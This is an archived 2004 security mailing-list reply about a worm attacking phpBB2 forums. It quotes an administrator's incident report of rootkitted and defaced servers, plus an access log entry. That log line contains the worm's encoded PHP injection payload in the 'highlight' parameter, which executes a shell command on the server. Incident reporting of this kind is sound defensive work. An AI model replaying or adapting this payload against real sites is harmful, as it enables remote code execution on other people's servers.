lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Message-ID: <A5FADA4EE7D9A34F89AD07841AEE78410133CEBD@mail6.shi.com> From: christopher_adickes at SHI.com (Christopher Adickes) Subject: RE: Worm hitting PHPbb2 Forums In addition to your post here is some more info. http://isc.sans.org/ -----Original Message----- From: L. Walker [mailto:lwalker@...i.net.au] Sent: Tuesday, December 21, 2004 4:23 AM To: incidents@...urityfocus.com Cc: full-disclosure@...ts.netsys.com Subject: Worm hitting PHPbb2 Forums Importance: High Just spotted two clients hit by this. One client didnt update his software (PHP 4.3.4, Apache 1.3.22) and was rootkitted by generation 16. Chkrootkit says its Adore, however could be something else. Datacenter wasn't very smart and has since wiped the server, so no binaries or other evidence. Generation 12 only wiped out PHP files, replacing them with its own message on other client's PHPbb2 forum. Access logs show: 66.220.28.92 - - [21/Dec/2004:18:07:17 +1100] "GET /forum/viewtopic.php?p=1445&sid=d2260869a73fb5aca2aed0d8a88cf55a&highlight=% 2527%252Esystem(chr(112)%252echr(101)%252echr(114)%252echr(108)%252echr(32)% 252echr(45)%252echr(101)%252echr(32)%252echr(34)%252echr(111)%252echr(112)%2 52echr(101)%252echr(110)%252echr(32)%252echr(79)%252echr(85)%252echr(84)%252 echr(44)%252echr(113)%252echr(40)%252echr(62)%252echr(109)%252echr(49)%252ec hr(104)%252echr(111)%252echr(50)%252echr(111)%252echr(102)%252echr(41)%252ec hr(32)%252echr(97)%252echr(110)%252echr(100)%252echr(32)%252echr(112)%252ech r(114)%252echr(105)%252echr(110)%252echr(116)%252echr(32)%252echr(113)%252ec hr(40)%252echr(72)%252echr(89)%252echr(118)%252echr(57)%252echr(112)%252echr (111)%252echr(52)%252echr(122)%252echr(51)%252echr(106)%252echr(106)%252echr (72)%252echr(87)%252echr(97)%252echr(110)%252echr(78)%252echr(41)%252echr(34 ))%252e%2527 HTTP/1.0" 200 270 "http://www.noobforces.net/forum/viewtopic.php?p=1445&sid=d2260869a73fb5aca2 aed0d8a88cf55a&highlight=%2527%252Esystem(chr(112)%252echr(101)%252echr(114) %252echr(108)%252echr(32)%252echr(45)%252echr(101)%252echr(32)%252echr(34)%2 52echr(111)%252echr(112)%252echr(101)%252echr(110)%252echr(32)%252echr(79)%2 52echr(85)%252echr(84)%252echr(44)%252echr(113)%252echr(40)%252echr(62)%252e chr(109)%252echr(49)%252echr(104)%252echr(111)%252echr(50)%252echr(111)%252e chr(102)%252echr(41)%252echr(32)%252echr(97)%252echr(110)%252echr(100)%252ec hr(32)%252echr(112)%252echr(114)%252echr(105)%252echr(110)%252echr(116)%252e chr(32)%252echr(113)%252echr(40)%252echr(72)%252echr(89)%252echr(118)%252ech r(57)%252echr(112)%252echr(111)%252echr(52)%252echr(122)%252echr(51)%252echr (106)%252echr(106)%252echr(72)%252echr(87)%252echr(97)%252echr(110)%252echr( 78)%252echr(41)%252echr(34))%252e%2527" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)" -- L. Walker <lwalker at magi dot net dot au> Network Administrator / Consultant --
Powered by blists - more mailing lists